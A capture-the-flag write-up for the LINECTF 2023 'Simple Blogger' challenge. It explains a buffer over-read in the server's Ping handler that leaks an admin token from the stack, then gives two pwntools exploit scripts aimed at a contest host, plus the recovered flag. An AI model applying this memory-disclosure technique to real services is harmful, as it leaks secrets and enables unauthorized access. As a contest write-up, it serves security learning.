LINECTF 2023
Simple Blogger
- This Challenge has two binary client_nix, server_nix
Client_nix
Client_nix provides several menus including Ping, login, logout and flag…
Server_nix
Server_nix processes client input and sends a response to client
The Vulnerability is in Ping function.
- Background Knowledge
the data struct that client send to server is simply below
1
2
3
4
5
6
7
8
9Struct data{
# offset : name (size)
0: success_flag (1)
1: option_num (1)
2: token (16)
18: size_bigendian (2)
- custom data
20 ~ : Data
}the opposite is
1
2
3
4
5
6
7
8Struct data{
# offset : name (size)
0: success_flag (1)
1: undefined (1)
2: size (2)
- custom data
4 ~ : Data
}
If client runs ‘Ping’, client receives ‘Pong’

The detail process step is as follows:
Client send data below
1
2
3
4data = b'\x01\x01'
data += b'\x00'*0x10
data += b'\x00\x04'
data += b'PING'Server receives data, processes with them
2-1. Generally follow below logic save data to temp buffer

The important element is
1
a2+0x18 = size;
2-2. And Call Ping Function

(v9 == a2)
sub_4025DC is Ping function, the 7th argument is size saved at the above logic
2-3. Memcpy and return

(sub_4013F6 is send response function, a7 == 7th argument )
In the function, move data to response buffer via memcpy. Because the size using memcpy is a7, then can leak stack data. The admin token loaded from the above sql api exists in stack.
Server sends a response to client
1
2
3data = b'\x01'
data += b'\x00\x04'
data += b'PONG'Client puts ‘PONG’
Exploit code is below
token leak
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31from pwn import *
import struct, os, binascii
HOST = '34.146.54.86'
PORT = 10007
TIMEOUT = 3
def extract_sess(auth_res):
sess = auth_res[4:]
return sess
def clear_db():
payload = b'\x01\x01'
payload += b'a'*0x10
payload += b'\x03\x04'
payload += b'PING'
return payload
def connect(payload):
r = remote(HOST, PORT)
r.send(payload)
data = r.recvrepeat(TIMEOUT)
r.close()
return data
r = remote(HOST, PORT)
r.send(clear_db())
r.recvuntil("PONG")
data = r.recvrepeat(TIMEOUT)
r.close()
print(binascii.hexlify(data[:16]), end="")auth and get flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37from pwn import *
import struct, os, binascii
HOST = '34.146.54.86'
PORT = 10007
TIMEOUT = 3
def extract_sess(auth_res):
sess = auth_res[4:]
return sess
def clear_db():
payload = b'\x01\x01'
payload += b'a'*0x10
payload += b'\x03\x04'
payload += b'PING'
return payload
def connect(payload):
r = remote(HOST, PORT)
r.send(payload)
data = r.recvrepeat(TIMEOUT)
r.close()
return data
r = remote(HOST, PORT)
token1 = 0x9649dac3db7f5cd3
token2 = 0xe950d705b03a91c2
payload = b'\x01\x06'
payload += p64(token1,endian="big")
payload += p64(token2,endian="big")
payload += b'\x03\x04'
payload += b'PING'
r.send(payload)
data = r.recvrepeat(TIMEOUT)
r.close()
print(data)

LINECTF{2b9598e3eca50122436702e10877cdce}